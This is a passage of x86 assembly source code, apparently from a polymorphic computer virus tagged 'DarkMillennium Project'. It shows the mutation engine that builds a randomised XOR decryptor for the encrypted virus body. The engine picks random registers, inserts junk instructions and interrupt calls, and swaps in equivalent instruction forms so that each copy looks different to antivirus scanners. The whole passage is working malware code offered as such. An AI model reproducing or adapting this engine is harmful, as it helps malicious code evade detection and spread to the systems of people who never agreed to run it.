1087 mov al, byte ptr [ebp + reg_1 - Start]
1088 add al, 0C0h
1089 stosb
1090 mov eax, offset Start
1091 stosd
1092
1093 ; Generate Junk
1094 xchg ebp, edi
1095 call GenerateJunk
1096 xchg ebp, edi
1097
1098 ; xor reg_2, reg_2
1099 mov al, 33h
1100 stosb
1101 mov al, byte ptr [ebp + reg_2 - Start]
1102 mov ecx, eax
1103 mov ebx, 8
1104 mul ebx
1105 add al, cl
1106 add al, 0C0h
1107 stosb
1108
1109 ; Generate Junk
1110 xchg ebp, edi
1111 call GenerateJunk
1112 xchg ebp, edi
1113
1114 ; inc reg_2
1115 mov [ebp + var1 - Start], edi ; save in var1 current pos for future use
1116 mov al, 40h
1117 add al, byte ptr [ebp + reg_2 - Start]
1118 stosb
1119
1120 ; Generate Junk
1121 xchg ebp, edi
1122 call GenerateJunk
1123 xchg ebp, edi
1124
1125 ; mov reg_3, [reg_1]
1126 mov al, byte ptr [ebp + reg_3 - Start]
1127 mov cl, al
1128 mov ch, byte ptr [ebp + reg_1 - Start]
1129 mov ax, 0100h
1130 xchg ebp, edi
1131 call GenPutX1X2
1132 xchg ebp, edi
1133
1134 ; Generate Junk
1135 xchg ebp, edi
1136 call GenerateJunk
1137 xchg ebp, edi
1138
1139 ; xor reg_3, reg_2
1140 mov ax, 3366h
1141 stosw
1142 mov al, byte ptr [ebp + reg_3 - Start]
1143 mov ebx, 8
1144 mul ebx
1145 add al, byte ptr [ebp + reg_2 - Start]
1146 add al, 0C0h
1147 stosb
1148
1149 ; Generate Junk
1150 xchg ebp, edi
1151 call GenerateJunk
1152 xchg ebp, edi
1153
1154 ; cmp reg3, 9090h
1155 mov ax, 8166h
1156 stosw
1157 mov al, byte ptr [ebp + reg_3 - Start]
1158 add al, 0F8h
1159 stosb
1160 mov ax, 9090h
1161 stosw
1162
1163 ; jne -inc reg_2 line-
1164 mov al, 75h
1165 stosb
1166 mov eax, [ebp + var1 - Start]
1167 sub eax, edi
1168 dec eax ; now JNE points to INC DI line
1169 stosb
1170
1171 ; Generate Junk
1172 xchg ebp, edi
1173 call GenerateJunk
1174 xchg ebp, edi
1175
1176 ; Save the number of register that contain the key for decryption
1177 mov al, [ebp + reg_2 - Start]
1178 mov [ebp + reg_key - Start], al
1179
1180 call GenerateRegisters
1181 call GenerateFuckRegs
1182
1183 ; lea reg_1, [ebp + key - Start] -> key offset will be setted later
1184 mov al, 8Dh
1185 stosb
1186 mov al, byte ptr [ebp + reg_1 - Start]
1187 mov ebx, 8
1188 mul ebx
1189 add al, 85h
1190 stosb
1191
1192 mov [ebp + var3 - Start], edi ; save EDI offset, for later use
1193 mov eax, 00000000h
1194 stosd
1195
1196 ; Generate Junk
1197 xchg ebp, edi
1198 call GenerateJunk
1199 xchg ebp, edi
1200
1201 ; add reg_1, offset Start
1202 mov al, 81h
1203 stosb
1204 mov al, byte ptr [ebp + reg_1 - Start]
1205 add al, 0C0h
1206 stosb
1207 mov eax, offset Start
1208 stosd
1209
1210 ; Generate Junk
1211 xchg ebp, edi
1212 call GenerateJunk
1213 xchg ebp, edi
1214
1215 ; mov reg_2, virussize
1216 mov cl, byte ptr [ebp + reg_2 - Start]
1217 mov ch, 0FFh
1218 mov edx, virussize
1219 mov ax, 0101h
1220 xchg ebp, edi
1221 call GenPutX1X2
1222 xchg ebp, edi
1223
1224 ; Generate Junk
1225 xchg ebp, edi
1226 call GenerateJunk
1227 xchg ebp, edi
1228
1229 ; xor [reg_1], reg_key
1230 mov [ebp + var4 - Start], edi
1231 mov ax, 3166h
1232 stosw
1233 xor eax, eax
1234 mov al, byte ptr [ebp + reg_key - Start]
1235 mov ebx, 8
1236 mul ebx
1237 add al, byte ptr [ebp + reg_1 - Start]
1238 stosb
1239
1240 ; Generate Junk
1241 xchg ebp, edi
1242 call GenerateJunk
1243 xchg ebp, edi
1244
1245 ; inc reg_1
1246 mov al, 40h
1247 add al, byte ptr [ebp + reg_1 - Start]
1248 stosb
1249
1250 ; Generate Junk
1251 xchg ebp, edi
1252 call GenerateJunk
1253 xchg ebp, edi
1254
1255 ; inc reg_1
1256 mov al, 40h
1257 add al, byte ptr [ebp + reg_1 - Start]
1258 stosb
1259
1260 ; Generate Junk
1261 xchg ebp, edi
1262 call GenerateJunk
1263 xchg ebp, edi
1264
1265 ; dec reg_2
1266 mov al, 48h
1267 add al, byte ptr [ebp + reg_2 - Start]
1268 stosb
1269
1270 ; Generate Junk
1271 xchg ebp, edi
1272 call GenerateJunk
1273 xchg ebp, edi
1274
1275 ; dec reg_2
1276 mov al, 48h
1277 add al, byte ptr [ebp + reg_2 - Start]
1278 stosb
1279
1280 ; Generate Junk
1281 xchg ebp, edi
1282 call GenerateJunk
1283 xchg ebp, edi
1284
1285 ; cmp reg_2, 1
1286 mov al, 83h
1287 stosb
1288 mov al, 0F8h
1289 add al, byte ptr [ebp + reg_2 - Start]
1290 stosb
1291 mov al, 01
1292 stosb
1293
1294 ; jg -- xor [reg_1], reg_key -- line
1295 mov al, 07Fh
1296 stosb
1297 mov ax, [ebp + var4 - Start]
1298 sub eax, edi
1299 dec eax
1300 stosb
1301
1302 ; Generate Junk
1303 xchg ebp, edi
1304 call GenerateJunk
1305 xchg ebp, edi
1306
1307 ; popad
1308 mov al, 61h
1309 stosb
1310
1311 ; Generate Junk
1312 xchg ebp, edi
1313 call GenerateJunk
1314 xchg ebp, edi
1315
1316 ; key word for decryption
1317 mov esi, [ebp + var2 - Start]
1318 lea eax, key
1319 mov byte ptr [esi], al
1320 mov esi, [ebp + var3 - Start]
1321 lea eax, key
1322 mov byte ptr [esi], al
1323 mov ax, 9090h
1324 stosw
1325
1326 nop
1327 nop
1328 nop
1329 nop
1330 nop
1331
1332 ; Generate random junk to fill the space after decryptor
1333 lea esi, [ebp + Encr_Code - Start]
1334 xchg ebp, edi
1335fill_junk: push esi
1336 call GenerateOneByteJunk
1337 pop esi
1338 cmp ebp, esi
1339 jl fill_junk
1340 xchg ebp, edi
1341
1342 xchg ebp, edi
1343 ret
1344
1345var1 dd 0 ; keep location of INC DI line
1346var2 dd 0 ; keep location of LEA ESI, key instruction + 1
1347var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1
1348var4 dd 0 ; keep location of XOR [ESI], DI instruction
1349
1350GenDecryptor endp
1351
1352
1353; Init register generator
1354;
1355InitRegGenerator proc
1356 mov byte ptr [ebp + reg_1 - Start], 0F0h
1357 mov byte ptr [ebp + reg_2 - Start], 0F0h
1358 mov byte ptr [ebp + reg_3 - Start], 0F0h
1359 mov byte ptr [ebp + reg_key - Start], 0F0h
1360 mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h
1361 mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h
1362 ret
1363InitRegGenerator endp
1364
1365; Generate registers for use in decryptor
1366;
1367GenerateRegisters proc
1368 pushad
1369
1370 ; Generate reg, not ESP, not EBP
1371get_reg_1: mov eax, 8
1372 call random_in_range
1373 cmp al, 4 ; no ESP
1374 jz get_reg_1
1375 cmp al, 5 ; no EBP
1376 jz get_reg_1
1377 cmp al, byte ptr [ebp + reg_key - Start]
1378 jz get_reg_1
1379 mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use
1380
1381 ; Generate reg2, not ESP, not EBP, <> reg1
1382get_reg_2: mov eax, 8
1383 call random_in_range
1384 cmp al, 4 ; no ESP
1385 jz get_reg_2
1386 cmp al, 5 ; no EBP
1387 jz get_reg_2
1388 cmp al, byte ptr [ebp + reg_1 - Start]
1389 jz get_reg_2
1390 cmp al, byte ptr [ebp + reg_key - Start]
1391 jz get_reg_1
1392 mov byte ptr [ebp + reg_2 - Start], al
1393
1394 ; Generate reg3, not ESP, not EBP, <> reg1, <> reg2
1395get_reg_3: mov eax, 8
1396 call random_in_range
1397 cmp al, 4 ; no ESP
1398 jz get_reg_3
1399 cmp al, 5 ; no EBP
1400 jz get_reg_3
1401 cmp al, byte ptr [ebp + reg_1 - Start]
1402 jz get_reg_3
1403 cmp al, byte ptr [ebp + reg_2 - Start]
1404 jz get_reg_3
1405 cmp al, byte ptr [ebp + reg_key - Start]
1406 jz get_reg_1
1407 mov byte ptr [ebp + reg_3 - Start], al
1408
1409 popad
1410 ret
1411GenerateRegisters endp
1412
1413
1414; Generate 2 registers, different from the other registers used
1415;
1416GenerateFuckRegs proc
1417 pushad
1418get_reg_fuck_1:
1419 mov eax, 8
1420 call random_in_range
1421 cmp al, 4 ; no ESP
1422 jz get_reg_fuck_1
1423 cmp al, 5 ; no EBP
1424 jz get_reg_fuck_1
1425 cmp al, byte ptr [ebp + reg_1 - Start]
1426 jz get_reg_fuck_1
1427 cmp al, byte ptr [ebp + reg_2 - Start]
1428 jz get_reg_fuck_1
1429 cmp al, byte ptr [ebp + reg_3 - Start]
1430 jz get_reg_fuck_1
1431 cmp al, byte ptr [ebp + reg_key - Start]
1432 jz get_reg_fuck_1
1433 mov byte ptr [ebp + reg_fuck_1 - Start], al
1434
1435get_reg_fuck_2:
1436 mov eax, 15
1437 call random_in_range
1438 cmp al, 7
1439 jg ch_FFh
1440 cmp al, 4 ; no ESP
1441 jz get_reg_fuck_2
1442 cmp al, 5 ; no EBP
1443 jz get_reg_fuck_2
1444 cmp al, byte ptr [ebp + reg_1 - Start]
1445 jz get_reg_fuck_2
1446 cmp al, byte ptr [ebp + reg_2 - Start]
1447 jz get_reg_fuck_2
1448 cmp al, byte ptr [ebp + reg_3 - Start]
1449 jz get_reg_fuck_2
1450 cmp al, byte ptr [ebp + reg_fuck_1 - Start]
1451 jz get_reg_fuck_2
1452 cmp al, byte ptr [ebp + reg_key - Start]
1453 jz get_reg_fuck_2
1454 mov byte ptr [ebp + reg_fuck_2 - Start], al
1455GenerateFuckRegs_Exit:
1456 popad
1457 ret
1458
1459ch_FFh: mov al, 0FFh
1460 mov byte ptr [ebp + reg_fuck_2 - Start], al
1461 jmp GenerateFuckRegs_Exit
1462
1463GenerateFuckRegs endp
1464
1465
1466; Generate MOV reg1, reg2/[reg2]/val like instructions
1467; EBP = location for code
1468; CL = reg1
1469; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
1470; ( in this case AH value will be ignored, no direct mem read like
1471; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
1472; AL = type of registry to use 0 = word ( AX, BX ... )
1473; 1 = dword ( EAX, EBX ... )
1474; byte registers are not used in my decryptor
1475; AH = 0 use direct value ( EAX ... )
1476; 1 use memory address from register ( [EAX], [ESI] ... )
1477; EDX = use this value instead of reg2 in case CH = 0FFh
1478;
1479GenPutX1X2 proc
1480 push eax ecx edx
1481
1482 lea eax, [edi + offset GenMovType - Start]
1483 mov [edi + MovType - Start], eax
1484 lea eax, [edi + offset GenPushPopType - Start]
1485 mov [edi + PushPopType - Start], eax
1486 lea eax, [edi + offset GenXorAddType - Start]
1487 mov [edi + XorAddType - Start], eax
1488 lea eax, [edi + offset GenSubAddType - Start]
1489 mov [edi + SubAddType - Start], eax
1490
1491 mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4
1492 call random_in_range
1493 mov esi, 4
1494 mul esi
1495 xchg esi, eax
1496 add esi, edi
1497 add esi, offset PutX1X2Table - offset Start
1498 mov ebx, dword ptr [esi]
1499
1500 pop edx ecx eax
1501 call ebx
1502 ret
1503
1504GenPutX1X2 endp
1505
1506
1507; Decryptor Junk instructions
1508; EBP = location for junk
1509GenerateJunk proc
1510 lea eax, [edi + offset GenerateOneByteJunk - Start]
1511 mov [edi + OneByteJunk - Start], eax
1512 lea eax, [edi + offset GenerateINTs - Start]
1513 mov [edi + INTs - Start], eax
1514 lea eax, [edi + offset GenNothing - Start]
1515 mov [edi + _Nothing - Start], eax
1516 lea eax, [edi + offset GenRndPutX1X2 - Start]
1517 mov [edi + RndPutX1X2 - Start], eax
1518
1519 mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4
1520 call random_in_range
1521 mov esi, 4
1522 mul esi
1523 xchg esi, eax
1524 add esi, edi
1525 add esi, offset RandomJunkTable - offset Start
1526 mov eax, dword ptr [esi]
1527 call eax
1528 ret
1529GenerateJunk endp
1530
1531
1532; Generate one byte instruction, put it in [EBP] and increase EBP with 1
1533; EBP = location for generated code
1534GenerateOneByteJunk proc
1535 lea esi, [edi + OneByteTable - Start] ; Offset of the table
1536 mov eax, offset EndOneByteTable - offset OneByteTable ; size of table
1537 call random_in_range ; Must generate random numbers
1538 add esi, eax ; Add AX ( AL ) to the offset
1539 mov al, byte ptr [esi] ; Put selected opcode in al
1540 xchg ebp, edi
1541 stosb ; And store it in EDI ( points to
1542 ; the decryptor instructions )
1543 xchg ebp, edi
1544 ret
1545GenerateOneByteJunk endp
1546
1547
1548; Generate INT calls and increase edi with 2
1549; EBP = location for generated code
1550GenerateINTs proc
1551 lea esi, [edi + INTsTable - Start]
1552 mov eax, offset EndINTsTable - offset INTsTable
1553 call random_in_range
1554 add esi, eax
1555 mov ah, byte ptr [esi]
1556 mov al, 0CDh
1557 xchg ebp, edi
1558 stosw
1559 xchg ebp, edi
1560 ret
1561GenerateINTs endp
1562
1563
1564; Generate NOTHING
1565; EBP = location for generated code
1566GenNothing proc
1567 ret
1568GenNothing endp
1569
1570
1571; The same with GenPutX1X2 but with random registers and/or values
1572; NOTE : the registers are not the ones that are already in use
1573GenRndPutX1X2 proc
1574 xchg ebp, edi
1575
1576 ; random in EDX
1577 mov eax, 0FFFFh
1578 call random_in_range
1579 mov dx, ax
1580 shl edx, 10h
1581 mov eax, 0FFFFh
1582 call random_in_range
1583 mov dx, ax
1584
1585 ; random types
1586 mov eax, 2
1587 call random_in_range
1588 mov bl, al
1589 mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ...
1590 ; 'cause it will give Access Violation in most of the cases
1591 mov ax, bx
1592
1593 call GenerateFuckRegs
1594 mov cl, byte ptr [ebp + reg_fuck_1 - Start]
1595 mov ch, byte ptr [ebp + reg_fuck_2 - Start]
1596
1597 xchg ebp, edi
1598 call GenPutX1X2
1599 ret
1600GenRndPutX1X2 endp
1601
1602; Generate MOV instructions
1603; Generate MOV reg1, reg2/[reg2]/val like instructions
1604; EBP = location for code
1605; CL = reg1
1606; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
1607; ( in this case AH value will be ignored, no direct mem read like
1608; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
1609; AL = type of registry to use 0 = word ( AX, BX ... )
1610; 1 = dword ( EAX, EBX ... )
1611; byte registers are not used in my decryptor
1612; AH = 0 use direct value ( EAX ... )
1613; 1 use memory address from register ( [EAX], [ESI] ... )
1614; EDX = use this value instead of reg2 in case CH = 0FFh
1615;
1616GenMovType proc
1617 xchg ebp, edi
1618
1619 cmp ch, 0FFh
1620 jne not_val
1621 jmp use_val
1622
1623not_val: cmp ch, 04h
1624 jnz not_esp
1625 jmp mov_esp
1626not_esp: cmp ch, 05h
1627 jnz not_ebp
1628 jmp mov_ebp
1629
1630not_ebp: cmp al, 0
1631 jz word_type
1632 cmp al, 1
1633 jz dword_type
1634 jmp MovType_End
1635
1636word_type: ; reg1 = word reg
1637 cmp ah, 1
1638 jz word_type1
1639
1640 ; MOV reg1, reg2
1641 mov ax, 8B66h
1642 stosw
1643 mov al, cl
1644 mov bl, 8
1645 mul bl
1646 add al, ch
1647 add al, 0C0h
1648 stosb
1649 jmp MovType_End
1650
1651word_type1: ; MOV reg1, [reg2]
1652 mov ax, 8B66h
1653 stosw
1654 mov al, cl
1655 mov bl, 8
1656 mul bl
1657 add al, ch
1658 stosb
1659 jmp MovType_End
1660
1661dword_type: ; reg1 = dword reg
1662 cmp ah, 1
1663 jz dword_type1
1664
1665 ; MOV reg1, reg2
1666 mov al, 08Bh
1667 stosb
1668 mov al, cl
1669 mov bl, 8
1670 mul bl
1671 add al, ch
1672 add al, 0C0h
1673 stosb
1674 jmp MovType_End
1675
1676dword_type1: ; MOV reg1, [reg2]
1677 mov al, 8Bh
1678 stosb
1679 mov al, cl
1680 mov bl, 8
1681 mul bl
1682 add al, ch
1683 stosb
1684 jmp MovType_End
1685
1686mov_esp: ; MOV reg1, ESP/[ESP]
1687 mov al, 8Bh
1688 stosb
1689
1690 cmp ah, 0
1691 jz mov_esp2
1692
1693 ; MOV reg1, [ESP]
1694 mov al, cl
1695 mov bl, 8
1696 mul bl
1697 add al, 04h
1698 stosb
1699 mov al, 24h
1700 stosb
1701 jmp MovType_End
1702
1703 ; MOV reg1, ESP
1704mov_esp2: mov al, cl
1705 mov bl, 8
1706 mul bl
1707 add al, 0C4h
1708 stosb
1709 jmp MovType_End
1710
1711mov_ebp: ; MOV reg1, EBP/[EBP]
1712 mov al, 8Bh
1713 stosb
1714 cmp ah, 0
1715 jz mov_ebp2
1716
1717 ; MOV reg1, [EBP]
1718 mov al, cl
1719 mov bl, 8
1720 mul bl
1721 add al, 45h
1722 stosb
1723 mov al, 00h
1724 stosb
1725
1726 ; MOV reg1, EBP
1727mov_ebp2: mov al, cl
1728 mov bl, 8
1729 mul bl
1730 add al, 0C5h
1731 stosb
1732 jmp MovType_End
1733
1734MovType_End: xchg ebp, edi
1735 ret
1736
1737use_val: cmp al, 0
1738 jne use_val_
1739
1740 mov al, 66h
1741 stosb
1742 mov al, 0B8h
1743 add al, cl
1744 stosb
1745 mov ax, dx
1746 stosw
1747 jmp MovType_End
1748
1749use_val_: mov al, 0B8h
1750 add al, cl
1751 stosb
1752 mov eax, edx
1753 stosd
1754 jmp MovType_End
1755
1756GenMovType endp
1757
1758
1759; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val )
1760; EBP = location for code
1761; CL = reg1 (PUSH reg1)
1762; CH = reg2 (POP reg2)
1763; ( if CH = 0FFh then use value from EDX instead of reg2 )
1764; ( in this case AH value will be ignored, no direct mem read like
1765; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
1766; AL = type of registry to use 0 = word ( AX, BX ... )
1767; 1 = dword ( EAX, EBX ... )
1768; byte registers are not used in my decryptor
1769; AH = 0 use direct value ( EAX ... )
1770; 1 use memory address from register ( [EAX], [ESI] ... )
1771; EDX = use this value instead of reg2 in case CH = 0FFh
1772;
1773GenPushPopType proc
1774
1775 xchg ebp, edi
1776
1777 cmp ch, 0FFh
1778 jnz not_val_2
1779 push ax
1780 jmp use_val_2
1781
1782not_val_2: push ax
1783 cmp al, 0
1784 jnz not_wordreg
1785
1786 mov al, 66h
1787 stosb
1788
1789not_wordreg: cmp ah, 0
1790 jz not_ebp_
1791
1792 cmp ch, 04h
1793 jnz not_esp_
1794 jmp push_esp
1795not_esp_: cmp ch, 05h
1796 jnz not_ebp_
1797 jmp push_ebp
1798
1799not_ebp_: cmp ah, 1
1800 jz push_type1
1801
1802 ; PUSH reg2
1803 mov al, 50h
1804 add al, ch
1805 stosb
1806 jmp Pop_reg1
1807
1808push_type1: ; PUSH [reg2]
1809 mov al, 0FFh
1810 stosb
1811 mov al, 30h
1812 add al, ch
1813 stosb
1814
1815 ; POP reg1
1816 pop ax
1817 cmp al, 0
1818 jnz not_wordreg__
1819
1820 mov al, 66h
1821 stosb
1822
1823not_wordreg__: mov al, 58h
1824 add al, cl
1825 stosb
1826 jmp PushPopType_End
1827
1828push_esp: ; PUSH [ESP] (reg2)
1829 mov ax, 34FFh
1830 stosw
1831 mov al, 24h
1832 stosb
1833 jmp Pop_reg1
1834
1835push_ebp: ; PUSH [EBP] (reg2)
1836 mov ax, 75FFh
1837 stosw
1838 mov al, 00h
1839 stosb
1840
1841Pop_reg1: ; POP reg1
1842 pop ax
1843 cmp al, 0
1844 jnz not_wordreg_
1845
1846 mov al, 66h
1847 stosb
1848
1849not_wordreg_: mov al, 58h
1850 add al, cl
1851 stosb
1852
1853PushPopType_End:xchg ebp, edi
1854 ret
1855
1856use_val_2: cmp al, 0
1857 jnz not_wordreg___
1858
1859 ; PUSH val
1860 mov ax, 6866h
1861 stosw
1862 mov ax, dx
1863 stosw
1864 mov ch, cl
1865 jmp Pop_reg1
1866
1867not_wordreg___: mov al, 68h
1868 stosb
1869 mov eax, edx
1870 stosd
1871 pop ax
1872 mov al, 1
1873 mov ch, cl
1874 push ax
1875 jmp Pop_reg1
1876
1877GenPushPopType endp
1878
1879
1880; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val )
1881; EBP = location for code
1882; CL = reg1
1883; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
1884; ( in this case AH value will be ignored, no direct mem read like
1885; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
1886; AL = type of registry to use 0 = word ( AX, BX ... )
1887; 1 = dword ( EAX, EBX ... )
1888; byte registers are not used in my decryptor
1889; AH = 0 use direct value ( EAX ... )
1890; 1 use memory address from register ( [EAX], [ESI] ... )
1891; EDX = use this value instead of reg2 in case CH = 0FFh
1892;
1893GenXorAddType proc
1894 xchg ebp, edi
1895
1896 cmp ch, 0FFh
1897 jnz not_val_3
1898 jmp use_val_3
1899
1900not_val_3: push ax
1901 cmp al, 0
1902 jnz not_wordreg_2
1903 jmp wordreg_2
1904
1905not_wordreg_2: ; XOR reg1, reg1
1906 mov al, 33h
1907 stosb
1908 mov al, cl
1909 mov bl, 9
1910 mul bl
1911 add al, 0C0h
1912 stosb
1913
1914 pop ax
1915 cmp ah, 0
1916 jz dwordreg_2
1917
1918 cmp ch, 4 ; ESP ?
1919 jz add_esp
1920 cmp ch, 5 ; EBP ?
1921 jz add_ebp
1922
1923 ; ADD reg1, [reg2]
1924 mov al, 03h
1925 stosb
1926 mov al, cl
1927 mov bl, 8
1928 mul bl
1929 add al, ch
1930 stosb
1931 jmp GenXorAddType_End
1932
1933 ; ADD reg1, [ESP]
1934add_esp: mov al, 03h
1935 stosb
1936 mov al, cl
1937 mov bl, 9
1938 mul bl
1939 add al, 04h
1940 stosb
1941 mov al, 24h
1942 stosb
1943 jmp GenSubAddType_End
1944
1945 ; ADD reg1, [EBP]
1946add_ebp: mov al, 03h
1947 stosb
1948 mov al, cl
1949 mov bl, 8
1950 mul bl
1951 add al, 45h
1952 stosb
1953 jmp GenSubAddType_End
1954
1955dwordreg_2: ; ADD reg1, reg2
1956 mov al, 03h
1957 stosb
1958 mov al, cl
1959 mov bl, 8
1960 mul bl
1961 add al, 0C0h
1962 add al, ch
1963 stosb
1964 jmp GenXorAddType_End
1965
1966wordreg_2: ; XOR reg1, reg1
1967 mov ax, 3366h
1968 stosw
1969 mov al, cl
1970 mov bl, 9
1971 mul bl
1972 add al, 0C0h
1973 stosb
1974
1975 pop ax
1976 cmp ah, 0
1977 jz wordreg_2_
1978
1979 ; ADD reg1, [reg2]
1980 mov ax, 0366h
1981 stosw
1982 mov al, cl
1983 mov bl, 8
1984 mul bl
1985 add al, ch
1986 stosb
1987 jmp GenXorAddType_End
1988
1989wordreg_2_: ; ADD reg1, reg2
1990 mov ax, 0366h
1991 stosw
1992 mov al, cl
1993 mov bl, 8
1994 mul bl
1995 add al, 0C0h
1996 add al, ch
1997 stosb
1998 jmp GenXorAddType_End
1999
2000use_val_3: ; XOR reg1, reg1
2001 mov al, 33h
2002 stosb
2003 mov al, cl
2004 mov bl, 9
2005 mul bl
2006 add al, 0C0h
2007 stosb
2008
2009 ; ADD reg1, val
2010 mov al, 81h
2011 stosb
2012 mov al, 0C0h
2013 add al, cl
2014 stosb
2015 mov eax, edx
2016 stosd
2017
2018GenXorAddType_End:
2019 xchg ebp, edi
2020 ret
2021
2022GenXorAddType endp
2023
2024
2025; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val
2026; EBP = location for code
2027; CL = reg1
2028; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
2029; ( in this case AH value will be ignored, no direct mem read like
2030; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
2031; AL = type of registry to use 0 = word ( AX, BX ... )
2032; 1 = dword ( EAX, EBX ... )
2033; byte registers are not used in my decryptor
2034; AH = 0 use direct value ( EAX ... )
2035; 1 use memory address from register ( [EAX], [ESI] ... )
2036; EDX = use this value instead of reg2 in case CH = 0FFh
2037;
2038GenSubAddType proc
2039 xchg ebp, edi
2040
2041 cmp ch, 0FFh
2042 jnz not_val_4
2043 jmp use_val_4
2044
2045not_val_4: push ax
2046 cmp al, 0
2047 jnz not_wordreg_3
2048 jmp wordreg_3
2049
2050not_wordreg_3: ; SUB reg1, reg1
2051 mov al, 2Bh
2052 stosb
2053 mov al, cl
2054 mov bl, 9
2055 mul bl
2056 add al, 0C0h
2057 stosb
2058
2059 pop ax
2060 cmp ah, 0
2061 jz dwordreg_3
2062
2063 cmp ch, 4 ; ESP ?
2064 jz add_esp_
2065 cmp ch, 5 ; EBP ?
2066 jz add_ebp_
2067
2068 ; ADD reg1, [reg2]
2069 mov al, 03h
2070 stosb
2071 mov al, cl
2072 mov bl, 8
2073 mul bl
2074 add al, ch
2075 stosb
2076 jmp GenSubAddType_End
2077
2078 ; ADD reg1, [ESP]
2079add_esp_: mov al, 03h
2080 stosb
2081 mov al, cl
2082 mov bl, 9
2083 mul bl
2084 add al, 04h
2085 stosb
2086 mov al, 24h
2087 stosb
2088 jmp GenSubAddType_End
2089
2090 ; ADD reg1, [EBP]
2091add_ebp_: mov al, 03h
2092 stosb
2093 mov al, cl
2094 mov bl, 8
2095 mul bl
2096 add al, 45h
2097 stosb
2098 jmp GenSubAddType_End
2099
2100dwordreg_3: ; ADD reg1, reg2
2101 mov al, 03h
2102 stosb
2103 mov al, cl
2104 mov bl, 8
2105 mul bl
2106 add al, 0C0h
2107 add al, ch
2108 stosb
2109 jmp GenSubAddType_End
2110
2111wordreg_3: ; SUB reg1, reg1
2112 mov ax, 2B66h
2113 stosw
2114 mov al, cl
2115 mov bl, 9
2116 mul bl
2117 add al, 0C0h
2118 stosb
2119
2120 pop ax
2121 cmp ah, 0
2122 jz wordreg_3_
2123
2124 ; ADD reg1, [reg2]
2125 mov ax, 0366h
2126 stosw
2127 mov al, cl
2128 mov bl, 8
2129 mul bl
2130 add al, ch
2131 stosb
2132 jmp GenSubAddType_End
2133
2134wordreg_3_: ; ADD reg1, reg2
2135 mov ax, 0366h
2136 stosw
2137 mov al, cl
2138 mov bl, 8
2139 mul bl
2140 add al, 0C0h
2141 add al, ch
2142 stosb
2143 jmp GenSubAddType_End
2144
2145use_val_4: ; SUB reg1, reg1
2146 mov al, 2Bh
2147 stosb
2148 mov al, cl
2149 mov bl, 9
2150 mul bl
2151 add al, 0C0h
2152 stosb
2153
2154 ; ADD reg1, val
2155 mov al, 81h
2156 stosb
2157 mov al, 0C0h
2158 add al, cl
2159 stosb
2160 mov eax, edx
2161 stosd
2162
2163GenSubAddType_End:
2164 xchg ebp, edi
2165 ret
2166GenSubAddType endp
2167
2168; Return a random number in AX, between 0 and AX-1
2169random_in_range proc
2170 push bx dx
2171 xchg ax, bx
2172 call get_rnd
2173 xor dx, dx
2174 div bx
2175 xchg ax, dx
2176 pop dx bx
2177 ret
2178random_in_range endp
2179
2180
2181; Tables
2182
2183RandomJunkTable:
2184 OneByteJunk dd offset GenerateOneByteJunk
2185 INTs dd offset GenerateINTs
2186 _Nothing dd offset GenNothing
2187 RndPutX1X2 dd offset GenRndPutX1X2
2188EndRandomJunkTable:
2189
2190OneByteTable: db 090h ; nop
2191 db 0F8h ; clc
2192 db 0F9h ; stc
2193 db 0F5h ; cmc
2194; db 0CCh ; int 3h
2195; db 098h ; cbw
2196; db 099h ; cwd
2197EndOneByteTable:
2198
2199INTsTable: ;db 01h
2200 db 08h
2201 db 0Ah
2202 db 0Bh
2203 db 0Ch
2204; db 0Dh
2205 db 0Eh
2206 db 0Fh
2207; db 1Ch
2208 db 28h
2209 db 2Bh
2210 db 2Ch
2211 db 2Dh
2212 db 70h
2213 db 71h
2214 db 72h
2215 db 73h
2216 db 74h
2217; db 75h
2218 db 76h
2219 db 77h
2220; those with ; before'em will generate an error (ussualy a blue screen)
2221
2222EndINTsTable:
2223
2224PutX1X2Table:
2225 MovType dd offset GenMovType
2226 PushPopType dd offset GenPushPopType
2227 XorAddType dd offset GenXorAddType
2228 SubAddType dd offset GenSubAddType
2229EndPutX1X2Table:
2230
2231regsTable:
2232 reg_1 db 0
2233 reg_2 db 0
2234 reg_3 db 0
2235 reg_key db 0
2236 reg_fuck_1 db 0
2237 reg_fuck_2 db 0
2238regsTableEnd:
2239
2240_end:
2241
2242gfx_buffer db 10Dh dup (0)
2243_end_2:
2244
2245w_title db 'DarkMillennium Project', 0
2246
2247 end Begin
2248 end